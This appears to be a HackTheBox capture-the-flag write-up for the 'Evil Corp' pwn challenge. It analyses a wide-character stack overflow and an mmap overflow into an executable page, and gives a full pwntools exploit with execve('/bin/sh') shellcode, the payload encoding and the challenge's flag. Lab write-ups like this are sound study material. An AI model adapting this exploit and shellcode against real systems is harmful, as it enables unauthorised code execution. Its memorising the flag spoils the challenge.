Evil Corp
hackthebox
64-bit ELF PIE binary, dynamically linked, not stripped. Compiled with GCC 10.2.1 (Debian). Uses wide character API (`fgetws`, `wcscmp`, `wcstol`, `wprintf`) with `en_US.UTF-8` locale. Bilingual interface (English + Chinese).
$ ls tags/ techniques/
Evil Corp -- HackTheBox
Description
"We turned our assembly tester off because a big mistake from our new C developer. Do you think there are other mistakes he made?"
64-bit ELF PIE binary, dynamically linked, not stripped. Compiled with GCC 10.2.1 (Debian). Uses wide character API (fgetws, wcscmp, wcstol, wprintf) with en_US.UTF-8 locale. Bilingual interface (English + Chinese).
Remote target: 154.57.164.71:31387.
Protections
| Protection | Status |
|---|---|
| PIE | Enabled (but target is MAP_FIXED address, PIE not relevant) |
| NX | Enabled (but 0x11000 is RWX via mmap) |
| Canary | None |
| RELRO | Partial |
Analysis
Key Functions
Setup()
Sets locale to en_US.UTF-8 and creates two adjacent mmap regions with fixed addresses:
0x10000 (SupportMsg) — RW, 0x4b0 (1200) bytes — MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS
0x11000 (AssemblyTestPage) — RWX, 0x800 (2048) bytes — MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS (PROT_READ|PROT_WRITE|PROT_EXEC)
Critical point: AssemblyTestPage has execute permissions, and MAP_FIXED means addresses are independent of ASLR.
Login()
- Hardcoded credentials:
eliot/4007 fgetws(username_buf, 30, stdin)-- 30 wchar_t into 32-wchar_t buffer (safe)fgetws(password_buf, 0x12c, stdin)-- 300 wchar_t into 32-wchar_t buffer (OVERFLOW!)password_bufatRSP+0x00,username_bufatRSP+0x80- Return address at
RSP+0x158= 86 wchar_t from start ofpassword_buf - Stack frame:
push rbx; sub rsp, 0x150(no RBP frame, no canary)
wcharToChar16(src, dst, count)
"Big mistake from the C developer": truncates wchar_t (4 bytes on Linux x86-64) to char16_t (2 bytes), keeping only the lower 16 bits. No bounds checking on destination buffer.
ContactSupport()
fgetws(msg_buf, 0x1000, stdin)-- reads up to 4096 wchar_t into 4000-wchar_t buffer- Then
wcharToChar16(msg_buf, SupportMsg, 0x1000)-- writes up to 8192 bytes starting atSupportMsg(0x10000, only 1200 bytes allocated) - mmap overflow: after 2048 wchar_t input (= 4096 bytes char16_t output) write overflows into
AssemblyTestPageat address 0x11000 (RWX!)
GetOpt()
Menu: 1. Assembly Tester (disabled), 2. Contact Support, 3. Logout, 4. Exit.
Vulnerabilities
-
V1 -- Login password stack overflow (CRITICAL):
fgetws(buf, 300, stdin)reads 1200 bytes into 128-byte buffer. Return address at offset 86 wchar_t (344 bytes). -
V2 -- ContactSupport mmap overflow (CRITICAL):
wcharToChar16writes up to 8192 bytes fromSupportMsg(0x10000) intoAssemblyTestPage(0x11000, RWX). Allows shellcode injection at a fixed, known, executable address. -
V3 -- Type confusion (HIGH):
wcharToChar16confuseswchar_t(4B) withchar16_t(2B) -- "big mistake from the C developer".
Solution
Exploitation Strategy
┌──────────────────────────────────────────────────────────────────────┐
│ 1. Login with eliot/4007 │
│ 2. ContactSupport → 2048 padding + shellcode → shellcode at 0x11000 │
│ 3. Logout │
│ 4. Re-login with password overflow → RIP = 0x11000 │
│ 5. execve("/bin/sh") → shell │
└──────────────────────────────────────────────────────────────────────┘
Step 1: Login with Hardcoded Credentials
Standard login: eliot / 4007.
Step 2: Shellcode Injection via ContactSupport
Select option 2 (Contact Support) and send a specially crafted payload:
Padding (2048 'A' characters):
- Each 'A' is a wchar_t
0x00000041 wcharToChar16truncates to char16_t0x0041= 2 bytes- 2048 * 2 = 4096 bytes fill
SupportMsgfrom 0x10000 to 0x10FFF
Shellcode (after padding):
- Each pair of shellcode bytes
(b0, b1)is encoded as one wchar_t with valueb0 | (b1 << 8) - Sent as UTF-8 encoding of that Unicode codepoint
fgetwsconverts UTF-8 back to wchar_twcharToChar16truncates to char16_t, writing original bytesb0, b1at address 0x11000+
Shellcode -- execve("/bin/sh", NULL, NULL), 26 bytes:
xor rsi, rsi ; 48 31 f6 — rsi = 0 (argv) push rsi ; 56 — push 0 (null terminator) movabs rdi, "/bin//sh" ; 48 bf 2f 62 69 6e 2f 2f 73 68 push rdi ; 57 — push string to stack mov rdi, rsp ; 48 89 e7 — rdi = pointer to string xor rdx, rdx ; 48 31 d2 — rdx = 0 (envp) push 0x3b ; 6a 3b — syscall number pop rax ; 58 syscall ; 0f 05
Step 3: Logout
Select option 3 to logout. Return to main main() loop.
Step 4: Re-login with Password Overflow
Send arbitrary username ('A') and specially crafted password:
[86 'B' characters] [addr 0x11000 as UTF-8] [raw 0x00 byte]
Payload breakdown:
- 86 'B' -- each becomes wchar_t
0x00000042, filling 86 * 4 = 344 bytes up to return address wchar_to_utf8(0x11000)=F0 91 80 80-- UTF-8 encoding of U+11000,fgetwsconverts to wchar_t0x00011000= lower 4 bytes of return address- Raw
\x00byte --fgetwsconverts to wchar_t0x00000000= upper 4 bytes of return address
Key trick: fgetws does NOT stop on null wchar_t (only on newline or EOF), so the null byte passes through!
Final return address on stack: 0x0000000000011000 -- exactly at our shellcode.
Step 5: Shell
Login() returns -> RIP = 0x11000 -> shellcode executes -> /bin/sh -> cat flag* -> flag!
Why All Protections Are Bypassed
| Protection | Why it doesn't work |
|---|---|
| No canary | Stack overflow is trivial, no leak needed |
| PIE | Target is MAP_FIXED address 0x11000, independent of ASLR |
| NX | Page 0x11000 has PROT_EXEC (RWX via mmap) |
| ASLR | MAP_FIXED fixes mmap addresses regardless of ASLR |
| Partial RELRO | GOT overwrite not needed |
Full Exploit
#!/usr/bin/env python3 from pwn import * import struct, sys context.arch = 'amd64' context.os = 'linux' r = remote('154.57.164.71', 31387) def wchar_to_utf8(cp): """Encode a Unicode codepoint as UTF-8 bytes""" if cp == 0: return b'\x00' if cp <= 0x7F: return bytes([cp]) elif cp <= 0x7FF: return bytes([0xC0|(cp>>6), 0x80|(cp&0x3F)]) elif cp <= 0xFFFF: return bytes([0xE0|(cp>>12), 0x80|((cp>>6)&0x3F), 0x80|(cp&0x3F)]) elif cp <= 0x10FFFF: return bytes([0xF0|(cp>>18), 0x80|((cp>>12)&0x3F), 0x80|((cp>>6)&0x3F), 0x80|(cp&0x3F)]) # execve("/bin/sh", NULL, NULL) shellcode - 26 bytes shellcode = bytes.fromhex('4831f65648bf2f62696e2f2f736857488' '9e74831d26a3b580f05') if len(shellcode) % 2 != 0: shellcode += b'\x90' # Step 1: Login r.recvuntil(b'Username: '); r.sendline(b'eliot') r.recvuntil(b'Password: '); r.sendline(b'4007') r.recvuntil(b'>> ') # Step 2: Inject shellcode at 0x11000 via ContactSupport mmap overflow r.sendline(b'2'); r.recvuntil(b'\n\n') payload = b'A' * 2048 # Fill SupportMsg (0x10000 -> 0x10FFF) for i in range(0, len(shellcode), 2): val = struct.unpack('<H', shellcode[i:i+2])[0] payload += wchar_to_utf8(val) r.sendline(payload); r.recvuntil(b'>> ') # Step 3: Logout r.sendline(b'3') # Step 4: Re-login with password overflow -> RIP = 0x11000 r.recvuntil(b'Username: '); r.sendline(b'A') r.recvuntil(b'Password: ') r.sendline(b'B' * 86 + wchar_to_utf8(0x11000) + b'\x00') # Step 5: Shell r.interactive()
Notes
- Shellcode is encoded in byte pairs: each pair
(b0, b1)becomes wchar_tb0 | (b1 << 8), sent as UTF-8,fgetwsdecodes back to wchar_t,wcharToChar16truncates to 2 bytes -- restoring the original pair. This is an elegant encoding scheme specific to wide character overflow. - Flag name "45c11_15_N07_4L0000n3" = "ascii is not alone" -- direct hint that the challenge is about wide characters, not regular ASCII.
- Key null byte trick: raw
\x00via TCP ->fgetwsconverts to wchar_t0x00000000-> provides zero upper 4 bytes of 64-bit return address. Without this trick it would be impossible to form the correct address 0x0000000000011000. - "Assembly tester" is disabled in menu, but RWX page is still created in
Setup()-- this is the "other mistakes" from the C developer.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [pwn][free]Regularity— hackthebox
- [pwn][free]Getting Started— hackthebox
- [pwn][free]Portaloo— hackthebox
- [pwn][free]0xDiablos— hackthebox
- [pwn][free]Restaurant— hackthebox